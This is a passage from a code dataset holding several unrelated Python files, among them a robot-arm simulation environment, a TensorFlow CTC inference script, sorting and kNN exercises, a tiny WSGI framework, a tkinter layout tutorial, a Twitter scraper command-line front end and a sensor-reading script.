value)","sub_path":"pycfiles/boto_rsync-0.8.1.tar/multidelete.cpython-34.py","file_name":"multidelete.cpython-34.py","file_ext":"py","file_size_in_byte":3024,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"110271114","text":"#!/usr/bin/env python3\n\"\"\"\n action101: put sth with sth\n\"\"\"\nimport time\nimport math\nfrom datetime import datetime\nfrom time import sleep\nimport numpy as np\nimport random\nimport cv2\nimport os\nimport argparse\nimport torch\n\nimport sys\nsys.path.append('./')\nfrom env import Engine\nfrom utils_env import get_view,safe_path,cut_frame,point2traj,get_gripper_pos,backup_code\n\nclass Engine95(Engine):\n def __init__(self, worker_id, opti, p_id, taskId=5, maxSteps=15, n_dmps=3, cReward=True):\n super(Engine95,self).__init__(opti, wid=worker_id, p_id=p_id, maxSteps=maxSteps, taskId=taskId, n_dmps=n_dmps, cReward=cReward,robot_model=None)\n self.opti = opti\n self.wid = worker_id\n self.p = p_id\n self.p.setPhysicsEngineParameter(enableConeFriction=1)\n self.p.setPhysicsEngineParameter(contactBreakingThreshold=0.001)\n self.p.setPhysicsEngineParameter(allowedCcdPenetration=0.0)\n\n self.p.setPhysicsEngineParameter(numSolverIterations=20)\n self.p.setPhysicsEngineParameter(numSubSteps=10)\n\n #self.p.setPhysicsEngineParameter(constraintSolverType=self.p.CONSTRAINT_SOLVER_LCP_DANTZIG,globalCFM=0.000001)\n self.p.setPhysicsEngineParameter(enableFileCaching=0)\n\n self.p.setTimeStep(1 / 30.0)\n self.p.setGravity(0,0,-9.81)\n\n self.pos_traj = np.load (os.path.join (self.configs_dir, 'init', 'pos.npy'))\n self.orn_traj = np.load (os.path.join (self.configs_dir, 'init', 'orn.npy'))\n self.fix_orn = np.load (os.path.join (self.configs_dir, 'init', 'orn.npy'))\n\n self.box_file = os.path.join (self.urdf_dir, \"obj_libs/cubes/c3/c3.urdf\")\n self.box_position = [0.48, -0.05, 0.27]\n self.box_scaling = 1.5\n self.box_orientation = self.p.getQuaternionFromEuler ([0, math.pi, math.pi/2])\n self.box_id = self.p.loadURDF (fileName=self.box_file, basePosition=self.box_position,\n baseOrientation=self.box_orientation,\n globalScaling=self.box_scaling,useFixedBase=True)\n\n def init_obj(self):\n self.obj_file = os.path.join(self.resources_dir, \"urdf/objmodels/nut.urdf\")\n self.obj_position = [0.4, -0.15, 0.34]\n self.obj_scaling = 2\n self.obj_orientation = self.p.getQuaternionFromEuler([math.pi / 2, -math.pi / 2, 0])\n self.obj_id = self.p.loadURDF(fileName=self.obj_file, basePosition=self.obj_position,\n baseOrientation=self.obj_orientation,\n globalScaling=self.obj_scaling) # ,physicsClientId=self.physical_id)\n self.p.changeVisualShape(self.obj_id, -1, rgbaColor=[0.3, 0.3, 0.9, 1])\n\n def reset_obj(self):\n box_x = 0.48\n box_y = -0.05\n transl = np.random.uniform(-0.1,0.1,size=(2,))\n self.box_position = [box_x + transl[0],box_y + transl[1], 0.27]\n self.p.resetBasePositionAndOrientation (self.box_id, self.box_position, self.box_orientation)\n self.p.changeVisualShape (self.box_id, -1, rgbaColor=[1.0, 0.0, 0.0, 1])\n \n obj_x = self.box_position[0]\n obj_y = self.box_position[1]\n transl_obj = np.random.uniform(-0.1,0.1,size=(2,))\n self.obj_position = [obj_x + transl_obj[0],obj_y + transl_obj[1], 0.33]\n self.obj_orientation = self.p.getQuaternionFromEuler([math.pi/2, -math.pi/2, 0])\n self.p.resetBasePositionAndOrientation (self.obj_id, self.obj_position, self.obj_orientation)\n\n\n\n def init_grasp(self):\n self.robot.gripperControl(0)\n qlist = np.load( os.path.join(self.robot_recordings_dir, \"47-4/q.npy\"))\n glist = np.load( os.path.join(self.robot_recordings_dir, \"47-4/gripper.npy\"))\n num_q = len(qlist[0])\n self.fix_orn = np.load (os.path.join (self.configs_dir, 'init', 'orn.npy'))\n self.null_q = qlist[180]\n self.robot.setJointValue(qlist[40],glist[40])\n for i in range(40,180,1):\n glist[i] = min(130,glist[i])\n self.robot.jointPositionControl(qlist[i],gripper=glist[i])\n\n pos = self.robot.getEndEffectorPos()\n pos[2] += 0.1\n orn = self.robot.getEndEffectorOrn()\n for i in range(19):\n self.robot.positionControl(pos,orn,null_pose=self.null_q,gripperPos=150)\n\n cur_joint = self.robot.getJointValue()\n cur_pos = np.array(self.obj_position)#self.robot.getEndEffectorPos()\n cur_orn = self.robot.getEndEffectorOrn()\n cur_pos[1] += -0.2\n cur_pos[0] += -0.08\n cur_pos[2] += 0.1\n for i in range(109):\n self.robot.positionControl(cur_pos,cur_orn,null_pose=cur_joint,gripperPos=0)\n\n pos = self.robot.getEndEffectorPos()\n pos[2] -= 0.02\n orn = self.robot.getEndEffectorOrn()\n for i in range(109):\n self.robot.positionControl(pos,orn,null_pose=self.null_q,gripperPos=0)\n self.p.resetBasePositionAndOrientation (self.obj_id, self.obj_position, self.obj_orientation)\n\n for _ in range(100):\n self.p.stepSimulation()\n\n def get_success(self,seg=None):\n closet_info = self.p.getContactPoints (self.box_id, self.obj_id)\n box_AABB = self.p.getAABB(self.box_id)\n obj_pos = self.p.getBasePositionAndOrientation(self.obj_id)[0]\n if len(closet_info) == 0 and self.dmp.timestep >= self.dmp.timesteps:\n return True\n else:\n return False\n\n","sub_path":"simulation/env_95.py","file_name":"env_95.py","file_ext":"py","file_size_in_byte":5420,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"329989985","text":"#!/usr/bin/env python\n\nimport time\nimport argparse\nimport os\nfrom multiprocessing import cpu_count\n\nimport numpy as np\nimport tensorflow as tf\n\nfrom data_processor_seg import layer_int_to_name_map, convert_decode_to_str\nfrom data_feeder_seg_dd import DataFeeder\n#from hparams import hparams, hparams_debug_string #TODO: put all hyper-param in hparams\nfrom util import infolog, plot, ValueWindow\nlog = infolog.log\n\n# Some configs. (latency, r, w, r/w, i/o)\nnum_features = 6\n\n# OP classes + blank + others (10)\nnum_classes = 10\n\n# Hyper-parameters\nnum_epochs = 100 #10000\nnum_hidden = 128\nnum_layers = 1\n\nbatch_size = 1\n\ndef add_stats(cost, ler):\n with tf.variable_scope('stats') as scope:\n #tf.summary.histogram('linear_outputs', model.linear_outputs)\n #tf.summary.histogram('linear_targets', model.linear_targets)\n tf.summary.scalar('val_cost', cost) # FIXME: now only feed with val data\n tf.summary.scalar('val_ler', ler)\n #tf.summary.scalar('learning_rate', model.learning_rate)\n return tf.summary.merge_all()\n\n\ndef next_infer_batch_meta(feats_filename, segs_filename,labels_filename):\n train_inputs = np.load(feats_filename) # 3-D\n seg_table = np.load(segs_filename)\n train_targets = np.load(labels_filename)\n op_list = []\n #print('input :??????????????????????', train_inputs)\n from roi_selection_incept_dd import scheduler_select_seg \n train_inputs, train_targets_sparse, original = scheduler_select_seg(train_inputs, train_targets, seg_table, 0) # 0 for scheduler\n train_seq_len = [train_inputs.shape[1]]\n #train_targets = np.load(labels_filename)\n #print('target shape:', train_targets.shape)\n #TODO: cut the region of interest according to the seg_table\n for i in range(0, len(original)):\n if original[i] in layer_int_to_name_map:\n op_list.append(layer_int_to_name_map[original[i]])\n #else:\n # op_.append(unknownop) # for the unknown op\n\n #targets = np.array(targets)\n print('input :??????????????????????', train_inputs.shape)\n return train_inputs, train_targets_sparse, train_seq_len, op_list\n\ndef next_infer_batch(sample_file, label_file):\n\n row = ''\n label_list =[]\n with open(label_file, 'r') as lfile:\n for row in lfile:\n line_list = row.split(' ') # only one line for label sequence \n label_list.append(line_list[0])\n print(\"label sequence\")\n print(label_list)\n\n from getSample import convert_inputs_to_ctc_format\n infer_inputs, infer_targets, infer_seq_len = convert_inputs_to_ctc_format(sample_file, label_list)\n infer_inputs = np.reshape(infer_inputs,(1,infer_inputs.shape[0],5))\n return infer_inputs, infer_targets, infer_seq_len, label_list\n\ndef run_ctc(log_dir, args):\n checkpoint_path = os.path.join(log_dir, 'model.ckpt')\n #input_path = os.path.join(args.base_dir, args.input)\n log('Checkpoint path: %s' % checkpoint_path)\n #log('Loading training data from: %s' % input_path)\n log('Using model: %s' % args.model)\n #log(hparams_debug_string())\n\n # Set up DataFeeder:\n #dataset = DataFeeder(input_path)\n\n # Build the model\n graph = tf.Graph()\n with graph.as_default():\n # e.g: log filter bank or MFCC features\n # Has size [batch_size, max_step_size, num_features], but the\n # batch_size and max_step_size can vary along each step\n inputs = tf.placeholder(tf.float32, [None, None, num_features]) #batch size = 1\n #inputs = tf.placeholder(tf.float32, [None,num_features])\n # Here we use sparse_placeholder that will generate a\n # SparseTensor required by ctc_loss op.\n targets = tf.sparse_placeholder(tf.int32)\n\n # 1d array of size [batch_size]\n seq_len = tf.placeholder(tf.int32, [None])\n\n # Defining the cell\n # Can be:\n # tf.nn.rnn_cell.RNNCell\n # tf.nn.rnn_cell.GRUCell\n cell = tf.contrib.rnn.LSTMCell(num_hidden, state_is_tuple=True)\n\n # Stacking rnn cells\n stack = tf.contrib.rnn.MultiRNNCell([cell] * num_layers,\n state_is_tuple=True)\n\n # The second output is the last state and we will no use that\n outputs, _ = tf.nn.dynamic_rnn(stack, inputs, seq_len, dtype=tf.float32)\n\n shape = tf.shape(inputs)\n batch_s, max_time_steps = shape[0], shape[1]\n\n # Reshaping to apply the same weights over the timesteps\n outputs = tf.reshape(outputs, [-1, num_hidden])\n\n # Truncated normal with mean 0 and stdev=0.1\n # Tip: Try another initialization\n # see https://www.tensorflow.org/versions/r0.9/api_docs/python/contrib.layers.html#initializers\n W = tf.Variable(tf.truncated_normal([num_hidden,\n num_classes],\n stddev=0.1))\n # Zero initialization\n # Tip: Is tf.zeros_initializer the same?\n b = tf.Variable(tf.constant(0., shape=[num_classes]))\n\n # Doing the affine projection\n logits = tf.matmul(outputs, W) + b\n\n # Reshaping back to the original shape\n logits = tf.reshape(logits, [batch_s, -1, num_classes])\n\n # Time major\n logits = tf.transpose(logits, (1, 0, 2))\n\n loss = tf.nn.ctc_loss(targets, logits, seq_len)\n cost = tf.reduce_mean(loss)\n\n optimizer = tf.train.AdamOptimizer().minimize(cost)\n # optimizer = tf.train.MomentumOptimizer(learning_rate=0.01, momentum=0.9).minimize(cost)\n #optimizer = tf.train.MomentumOptimizer(learning_rate=0.005, momentum=0.9).minimize(cost)\n\n # Option 2: tf.contrib.ctc.ctc_beam_search_decoder\n # (it's slower but you'll get better results)\n decoded, log_prob = tf.nn.ctc_greedy_decoder(logits, seq_len)\n\n # Inaccuracy: label error rate\n ler = tf.reduce_mean(tf.edit_distance(tf.cast(decoded[0], tf.int32),\n targets))\n\n stats = add_stats(cost, ler)\n\n saver = tf.train.Saver(max_to_keep=5, keep_checkpoint_every_n_hours=2)\n\n # Bookkeeping:\n time_window = ValueWindow(100)\n train_cost_window = ValueWindow(100)\n train_ler_window = ValueWindow(100)\n val_cost_window = ValueWindow(100)\n val_ler_window = ValueWindow(100)\n \n # Run!\n with tf.Session(graph=graph) as sess:\n summary_writer = tf.summary.FileWriter(log_dir, sess.graph)\n sess.run(tf.global_variables_initializer())\n\n if args.restore_step:\n # Restore from a checkpoint if the user requested it.\n restore_path = '%s-%d' % (checkpoint_path, args.restore_step)\n saver.restore(sess, restore_path)\n log('Resuming from checkpoint: %s' % (restore_path,))\n else:\n log('Starting new training run')\n\n\n for index_val in range(0,1):\n index_val = index_val + 1\n sample_file = args.sample_file\n label_file = args.label_file\n seg_file = args.seg_file\n val_inputs, val_targets, val_seq_len, val_original = next_infer_batch_meta(sample_file, seg_file, label_file)\n #print(val_inputs)\n print(val_targets)\n val_feed = {inputs: val_inputs,\n targets: val_targets,\n seq_len: val_seq_len}\n val_cost, val_ler = sess.run([cost, ler], feed_dict=val_feed)\n val_cost_window.append(val_cost)\n val_ler_window.append(val_ler)\n\n # Decoding\n d = sess.run(decoded[0], feed_dict=val_feed)\n # Replacing blank label to none\n str_decoded = ''\n for x in np.asarray(d[1]):\n if x in layer_int_to_name_map:\n str_decoded = str_decoded + layer_int_to_name_map[x] + ' '\n else:\n print(\"x=%d MAJOR ERROR? OUT OF PREDICTION SCOPE\" % x)\n\n print('for Sample %s' % sample_file)\n print('Original val: %s' % val_original) # TODO\n print('Decoded val: %s' % str_decoded)\n\n message = \"avg_train_cost = {:.3f}, avg_train_ler = {:.3f}, \" \\\n \"val_cost = {:.3f}, val_ler = {:.3f}, \" \\\n \"avg_val_cost = {:.3f}, avg_val_ler = {:.3f}\"\n log(message.format(\n train_cost_window.average, train_ler_window.average,\n val_cost, val_ler,\n val_cost_window.average, val_ler_window.average))\n\n\n if step % args.checkpoint_interval == 0:\n log('Saving checkpoint to: %s-%d' % (checkpoint_path, step))\n saver.save(sess, checkpoint_path, global_step=step)\n\n # END OF TRAINING\n\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument('--base_dir', default=os.getcwd())\n parser.add_argument('--input', default='training_data/train.txt')\n parser.add_argument('--model', default='first_ctc')\n parser.add_argument('--hparams', default='',\n help='Hyperparameter overrides as a comma-separated list of name=value pairs')\n parser.add_argument('--restore_step', type=int, help='Global step to restore from checkpoint.')\n parser.add_argument('--summary_interval', type=int, default=1, help='Steps between running summary ops.')\n parser.add_argument('--checkpoint_interval', type=int, default=1, help='Steps between writing checkpoints.')\n parser.add_argument('--tf_log_level', type=int, default=1, help='Tensorflow C++ log level.')\n parser.add_argument('--sample_file', type=str)\n parser.add_argument('--label_file',type=str)\n parser.add_argument('--seg_file',type=str)\n args = parser.parse_args()\n\n os.environ['TF_CPP_MIN_LOG_LEVEL'] = str(args.tf_log_level)\n run_name = args.model\n\n log_dir = os.path.join(args.base_dir, 'predictor/logs_%s' % run_name)\n os.makedirs(log_dir, exist_ok=True)\n infolog.init(os.path.join(log_dir, 'inference.log'), run_name)\n #hparams.parse(args.hparams) #FIXME\n\n run_ctc(log_dir, args)\n\nif __name__ == '__main__':\n main()\n\n","sub_path":"ModelExtraction/validate_deepsniffer/3_inference_dd.py","file_name":"3_inference_dd.py","file_ext":"py","file_size_in_byte":10147,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"29240670","text":"\"\"\"\nImplement Merge Sort\n\"\"\"\n\nimport math\ndef MergeSort(arr):\n\n # the over all function MergeSort is the spliter\n # it keeps on spliting the arrays till\n # they become the size of one\n if len(arr) == 1:\n return arr\n\n center = math.floor((len(arr)-1)/2)\n leftChunk = arr[0:center+1]\n rightChunk = arr[center+1:len(arr)]# issue was the same center\n\n # we keep spliting our array smaller and \n # smaller till we finally return something (len(arr) == 1)\n # and once we do the recursive merge calls\n # spring into action from both merge sort calls\n # so each mergesort call => merge(mergeSort(left),mergeSort(right))\n # until it becomes merge(mergeSort(left) (returns one ele),mergeSort(right)(returns one ele)))\n return merge(MergeSort(leftChunk),MergeSort(rightChunk))\n\n\ndef merge(left,right):\n p1 = 0\n p2 = 0\n answer = []\n \n while p1 < len(left) and p2 < len(right):\n if left[p1] < right[p2]:\n answer.append(left[p1])\n p1 += 1\n else:\n answer.append(right[p2])\n p2 += 1\n # need to put in what left\n # left always goes first since it is\n # what usually holds the smallest values\n while p1 < len(left):\n answer.append(left[p1])\n p1+=1\n # where as right is what holds the bigger \n # values\n while p2 < len(right):\n answer.append(right[p2])\n p2+=1\n \n return answer\n\nif __name__ == \"__main__\":\n print(MergeSort([1,2,432,6,457,7,8,4323,4,246,5,2,4,668,4587,4])) \n","sub_path":"Old/ColtSteele/Sorting/MergeSort.py","file_name":"MergeSort.py","file_ext":"py","file_size_in_byte":1534,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"645813074","text":"import Calculos, Classificar, MatrizConfusao\nimport pandas as pd\n\n# Muda o rótulo de uma classe para inteiro\ndef replace_label(classe):\n if 'Iris-setosa' in classe:\n return 0\n elif 'Iris-versicolor' in classe:\n return 1\n elif 'Iris-virginica' in classe:\n return 2\n\n# Abre o arquivo\nfile = open(\"iris.data\")\n\n# Lê o arquivo e armazena em um vetor. Cada elemento do Vetor é uma linha.\nlinhas = file.readlines()\n\nmatriz = []\n\nfor linha in linhas:\n # Separa os dados em uma lista\n vetor = linha.split(',')\n for i in range(0, 4):\n # Converte os 4 primeiros elementos em float\n vetor[i] = float(vetor[i])\n # Muda o elemento 5 da matriz para um inteiro, que representa um rótulo\n vetor[4] = replace_label(vetor[4])\n # Adiciona a linha formatada na matriz\n matriz.append(vetor)\n\n# Imprime a matriz completa\n#print(matriz)\n# Imprime o tamanho da matriz\n#print(len(matriz))\n# imprime a primeira linha da matriz\n#print(matriz[0])\n# imprime a classe da amostra\n#print(matriz[0][4])\n\n# preencher matriz treino\ntreino = []\nfor i in range(15, 50):\n treino.append(matriz[i])\n\nfor i in range(65, 100):\n treino.append(matriz[i])\n\nfor i in range(115, 150):\n treino.append(matriz[i])\n#print(treino)\n#print(treino.__len__())\n\n# preecher matriz teste\nteste = []\nfor i in range(0, 15):\n teste.append(matriz[i])\n\nfor i in range(50, 65):\n teste.append(matriz[i])\n\nfor i in range(100, 115):\n teste.append(matriz[i])\n\n# valor de K\nk=int(input(\"Informe o K: \"))\n#k = 21\n\ncalcManhattan = []\ncalcEuclidiana = []\nvizinhosManhattan = []\nvizinhosEuclidiana = []\nclassManhattan = []\nclassEuclidiana = []\naux = []\n\n# chamar calculos e armazenar k vizinhos\nfor i in range(0, 45):\n calcManhattan = Calculos.manhattan(teste[i], treino)\n for j in range(0, k):\n aux.append(calcManhattan[j][1])\n vizinhosManhattan.append(aux)\n aux = []\n\n calcEuclidiana = Calculos.euclidiana(teste[i], treino)\n for j in range(0, k):\n aux.append(calcEuclidiana[j][1])\n vizinhosEuclidiana.append(aux)\n aux = []\n\n # classificar cada amostra\n classManhattan.append([str(i + 1) + ' amostra ' + str(teste[i])\n + ' Voto: ', str(Classificar.classificar(vizinhosManhattan[i]))])\n classEuclidiana.append([str(i + 1) + ' amostra ' + str(teste[i])\n + ' Voto: ', str(Classificar.classificar(vizinhosEuclidiana[i]))])\n\nprint(\"\\nClassificação Manhattan: \"+str(classManhattan))\nprint(\"\\nClassificação Euclidiana: \"+str(classEuclidiana))\n\n\nmatrizManhattan= MatrizConfusao.preencherMatriz(teste, classManhattan)\nmatrizEuclidiana= MatrizConfusao.preencherMatriz(teste, classEuclidiana)\n\ntaxaAcerto = ((matrizManhattan[0][0]+matrizManhattan[1][1]+matrizManhattan[2][2])/teste.__len__())*100\n\n#coisas novas PANDAS Series\nindices=['Setosa','Versicolor','Virginica']\nmatrizManhattan = pd.DataFrame(matrizManhattan, index=indices, columns=indices)\n\n\n#mostrar matrizes e taxas de acerto\n\nprint('\\n------------------------------------------\\n\\nMatriz de confusão - Manhattan\\n')\nprint(matrizManhattan)\nprint('\\nTaxa de acerto = '+str(float(\"{:.2f}\".format(taxaAcerto)))+' %')\n\n\ntaxaAcerto = ((matrizEuclidiana[0][0]+matrizEuclidiana[1][1]+matrizEuclidiana[2][2])/teste.__len__())*100\nmatrizEuclidiana = pd.DataFrame(matrizEuclidiana, index=indices, columns=indices)\nprint(\"\\n------------------------------------------\\nMatriz de confusão - Euclidiana\\n\")\nprint(matrizEuclidiana)\n\nprint('\\nTaxa de acerto = '+str(float(\"{:.2f}\".format(taxaAcerto)))+' %')\n\n\n","sub_path":"Principal.py","file_name":"Principal.py","file_ext":"py","file_size_in_byte":3565,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"431141326","text":"#! /usr/bin/env python3\n\nimport argparse\n\nfrom parsing_engine import interface\n\n\nparser = argparse.ArgumentParser(description='T-Scraper: A Twitter scraper that overrides some limits of official Twitter API')\n\nparser.add_argument(\"-as\", \"--accounts\", default=None,\\\n help='A file with each line a user ID or link to their main page.')\nparser.add_argument(\"-a\", \"--account\", default=\"POTUS\",\\\n help='Ignored if \"-as\" provided. Single account that you want, default is \"POTUS\". DO NOT enter the @ mark.')\nparser.add_argument(\"-i\", \"--image\", default=0, type=int,\\\n help='Whether to save images. 0 for no (default), non-zero int for yes.')\nparser.add_argument(\"-m\", \"--mode\", default=\"main\",\\\n help='Choose mode: \"main\" (default) for whatever tweets on main page; \"date\" for a specified range')\nparser.add_argument(\"-p\", \"--pop\", default=0, type=int,\\\n help='Whether to show pop-up browser window. 0 for no (default), non-zero int for yes.')\nparser.add_argument(\"-sd\", \"--savedir\", default=\"./saver/\",\\\n help='The directory for saving the outputs. Default to be ./saver/')\nparser.add_argument(\"-v\", \"--video\", default=0, type=int,\\\n help='Whether to save videos. 0 for no (default), non-zero int for yes.')\n\nparser.add_argument(\"-b\", \"--begin\", default=\"2021-1-1\",\\\n help='Under \"date\" mode, the begin date of search. Default to be Jan 1, 2021.')\nparser.add_argument(\"-e\", \"--end\", default=\"2021-1-10\",\\\n help='Under \"date\" mode, the end date of search. Default to be Jan 10, 2021.')\nparser.add_argument(\"-l\", \"--lang\", default=None,\\\n help='Under \"date\" mode, filter the language you want. \"en\" for English, \"es\" for Spanish, \"fr\" for French, \"zh\" for Chinese, no filter for all languages (default).')\n\nargs = parser.parse_args()\n\ndef scrap(account):\n if args.mode == \"main\":\n interface.scrap_main_page(\n account=account,\n save_dir=args.savedir,\n headless=False if args.pop else True,\n page_info=\"main\",\n login=True,\n resume=True,\n save_image=args.image,\n save_video=args.video\n )\n elif args.mode == \"date\":\n interface.scrap_between_date(\n account=account,\n start_date=args.begin,\n end_date=args.end,\n save_dir=args.savedir,\n headless=False if args.pop else True,\n save_image=args.image,\n save_video=args.video,\n lang=args.lang\n )\n\nif args.accounts!=None:\n with open(file=args.accounts, mode=\"r\", encoding=\"utf-8\") as f:\n for line in f:\n account = line.split(\"twitter.com/\")[-1].strip()\n if len(account)>1:\n scrap(account)\nelse:\n scrap(args.account)","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2737,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"370393165","text":"import random\nimport time\nimport numpy as np\nimport keras.models\nfrom keras.models import Sequential\nfrom keras.layers import Dense\nfrom keras.layers import Flatten\nfrom keras.layers import Dropout\nfrom keras.layers import LSTM\nfrom keras.layers import ConvLSTM2D\nfrom keras.utils import to_categorical\nfrom matplotlib import pyplot\nimport FaBo9Axis_MPU9250\n\ndef obtener_datos():\n dato = [[],[],[],[],[],[]]\n mpu9250 = FaBo9Axis_MPU9250.MPU9250()\n for j in range(150):\n accel = mpu9250.readAccel()\n gyro = mpu9250.readGyro()\n datos = [accel['x'], accel['y'], accel['y'], gyro['x'], gyro['y'], gyro['z']]\n for a,d in enumerate(datos):\n dato[a].append(d)\n time.sleep(0.01)\n return dato\n \ndef obtener_datos_externos():\n dato = [[],[],[],[],[],[]]\n mpu9250 = FaBo9Axis_MPU9250.MPU9250()\n for j in range(150):\n accel = mpu9250.readAccel()\n gyro = mpu9250.readGyro()\n datos = [accel['x'], accel['y'], accel['y'], gyro['x'], gyro['y'], gyro['z']]\n for a,d in enumerate(datos):\n dato[a].append(d)\n time.sleep(0.01)\n return dato\n \ndef comparacion_nn():\n B = obtener_datos()\n C = obtener_datos_externos()\n X = B+C\n X_t = np.array([np.array(X).T])\n X = X_t.reshape((X_t.shape[0], 10, 1, 15, X_t.shape[2]))\n pred = model.predict_classes(X)\n if pred == 0:\n resultado = 'Aceptado'\n else:\n resultado = 'Rechazado'\n return resultado\n\nmodel = keras.models.load_model('convlstm_sensors.h5')\ncomparacion_nn()\n","sub_path":"Fase0.py","file_name":"Fase0.py","file_ext":"py","file_size_in_byte":1553,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"569333730","text":"class PageNotFound404:\n def __call__(self, request):\n return '404 WHAT', '404 PAGE Not Found'\n\n\nclass Framework:\n \"\"\"\n основа фреймворка\n\n \"\"\"\n\n def __init__(self, routes_obj, fronts_obj):\n self.routes_lst = routes_obj\n self.fronts_lst = fronts_obj\n\n def __call__(self, env, start_response):\n # получение path\n path = env['PATH_INFO']\n\n # добавление слеша\n if not path.endswith('/'):\n path = f'{path}/'\n\n # page controller\n if path in self.routes_lst:\n view = self.routes_lst[path]\n else:\n view = PageNotFound404()\n request = {}\n\n # front controller\n for front in self.fronts_lst:\n front(request)\n\n code, body = view(request)\n start_response(code, [('Content-Type', 'text/html')])\n return [body.encode('utf-8')]\n","sub_path":"trig_framework/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":926,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"153582447","text":"\r\ndef lowercaseconverter(word,language): #method to convert uppercase to lowercase\r\n irish_capvowel = ['A','E','I','O','U',u\"\\u00C1\", u\"\\u00C9\",u\"\\u00CD\",u\"\\u00D3\",u\"\\u00DA\"]\r\n langcode = language[0:2] \r\n if language == 'tr' or language == 'az':\r\n lowerword = word.lower()\r\n output = lowerword.replace('i',u\"\\u0131\")\r\n return output\r\n elif language == 'ga':\r\n if word[0] == 'n' or word[0] == 't':\r\n if word[1] in irish_capvowel:\r\n splitword = list(word.lower())\r\n splitword.insert(1, '-')\r\n output = ''.join(splitword)\r\n return output\r\n else:\r\n return word.lower()\r\n else:\r\n return word.lower()\r\n else:\r\n return word.lower()\r\n\r\nif __name__=='__main__':\r\n with open('tests.tsv', encoding=\"utf8\") as f:\r\n row_list = []\r\n for row in f:\r\n stripped = row.strip()\r\n row_list = stripped.split()\r\n w = lowercaseconverter(row_list[0], row_list[1])\r\n if w != row_list[2]:\r\n print('Test case failed. Expected', row_list[2], 'when lowercasing',row_list[0], 'using language', row_list[1], 'but got',w)\r\n else:\r\n print('Test case passed')\r\n \r\n f.close()\r\n","sub_path":"F21/halimamalik/uppertolower.py","file_name":"uppertolower.py","file_ext":"py","file_size_in_byte":1323,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"376952366","text":"# ==========================================================================================================\n# everything in tk is window and objects are placed in a hierarchy\n# on screen main window is the root window, so everything must be placed within it or within one of the\n# child window.\n# not every window can have children but every window except the root one must have a master window\n# ==========================================================================================================\n\ntry:\n import tkinter\nexcept ImportError:\n import Tkinter as tkinter\n\nmainWindow = tkinter.Tk()\n\nmainWindow.title(\"Hello World\")\nmainWindow.geometry(\"640x480+100+400\")\n\nlabel = tkinter.Label(mainWindow, text=\"Hello World\")\nlabel.pack(side='top')\n\n\n# ==================================================\n# so to layout the canvas and buttons in managed manner\n# we are making use of frame\n# ==================================================\nleftFrame = tkinter.Frame(mainWindow)\nleftFrame.pack(side='left', anchor='n', fill=tkinter.Y, expand=False)\n\nrightFrame = tkinter.Frame(mainWindow)\nrightFrame.pack(side='right', anchor='n', expand=True)\n\n# ==================================================\n# fill is used to expand the canvas across the screen width\n# so when side is set to left and fill is set to vertical expansion i.e. tkinter.Y, then canvas expands vertically but\n# when fill is set to horizontal expansion i.e. tkinter.X, then canvas doesn't expand,\n# but it will expand only when expand is set to True in canvas.pack\n# to test the canvas.pack uncomment it one at a time and execute it.\n# now we have changed the placement of canvas and that is from mainWindow to leftFrame\n# ===================================================\n# canvas = tkinter.Canvas(mainWindow, relief='raised', borderwidth=1)\ncanvas = tkinter.Canvas(leftFrame, relief='raised', borderwidth=1)\ncanvas.pack(side='left')\n\n\n# ========================================================\n# we are adding buttons\n# now we are changing the placement of canvas and that is from mainWindow to rightFrame\n# ========================================================\n# button1 = tkinter.Button(mainWindow, text=\"button1\")\n# button2 = tkinter.Button(mainWindow, text=\"button2\")\n# button3 = tkinter.Button(mainWindow, text=\"button3\")\nbutton1 = tkinter.Button(rightFrame, text=\"button1\")\nbutton2 = tkinter.Button(rightFrame, text=\"button2\")\nbutton3 = tkinter.Button(rightFrame, text=\"button3\")\n\n# =======================================================\n# the widgets share the same side as they are placed adjacent to each other in the order\n# that they are actually packed.\n# we can change the position of the button by setting the anchor in the button.pack\n# here anchor supports compass direction i.e.\n# n - North\n# ne - North-East\n# e - East\n# se - South-East\n# s - South\n# sw - South-West\n# w - West\n# nw - North-West\n# center - for center position\n#\n# as we have added the buttons in frame, we have removed the anchor from button.pack\n# =======================================================\n# button1.pack(side='left', anchor='n')\n# button2.pack(side='left', anchor='s')\n# button3.pack(side='left', anchor='e')\nbutton1.pack(side='top')\nbutton2.pack(side='top')\nbutton3.pack(side='top')\n\nmainWindow.mainloop()\n","sub_path":"tkinter/tkinter_pack_geometry_2.py","file_name":"tkinter_pack_geometry_2.py","file_ext":"py","file_size_in_byte":3311,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"136660553","text":"# Runtime: 16 ms, faster than 73.76% of Python online submissions for Pascal's Triangle.\n# Memory Usage: 11.6 MB, less than 96.67% of Python online submissions for Pascal's Triangle.\n\nclass Solution(object):\n def generate(self, numRows):\n \"\"\"\n :type numRows: int\n :rtype: List[List[int]]\n \"\"\"\n \n numRows\n if numRows == 0:\n return []\n if numRows == 1:\n return [[1]]\n if numRows == 2:\n return [[1],[1,1]]\n \n ans = [[1], [1,1]]\n \n for i in range(2, numRows):\n arr = [1]\n for j in range(i-1):\n arr.append(ans[i-1][j] + ans[i-1][j+1])\n arr.append(1)\n ans.append(arr)\n \n return ans","sub_path":"Leetcode/Arrays/Easy/118_pascals_triangle.py","file_name":"118_pascals_triangle.py","file_ext":"py","file_size_in_byte":775,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"487833611","text":"#!/usr/bin/evn python3\nfrom Parser import Parser\nfrom CodeWriter import CodeWriter\nimport sys\nimport os\n\n\n# opens a vm_file, parses it and writes an assembly code in writer\ndef write_from_vm_file(vm_file, writer):\n file = 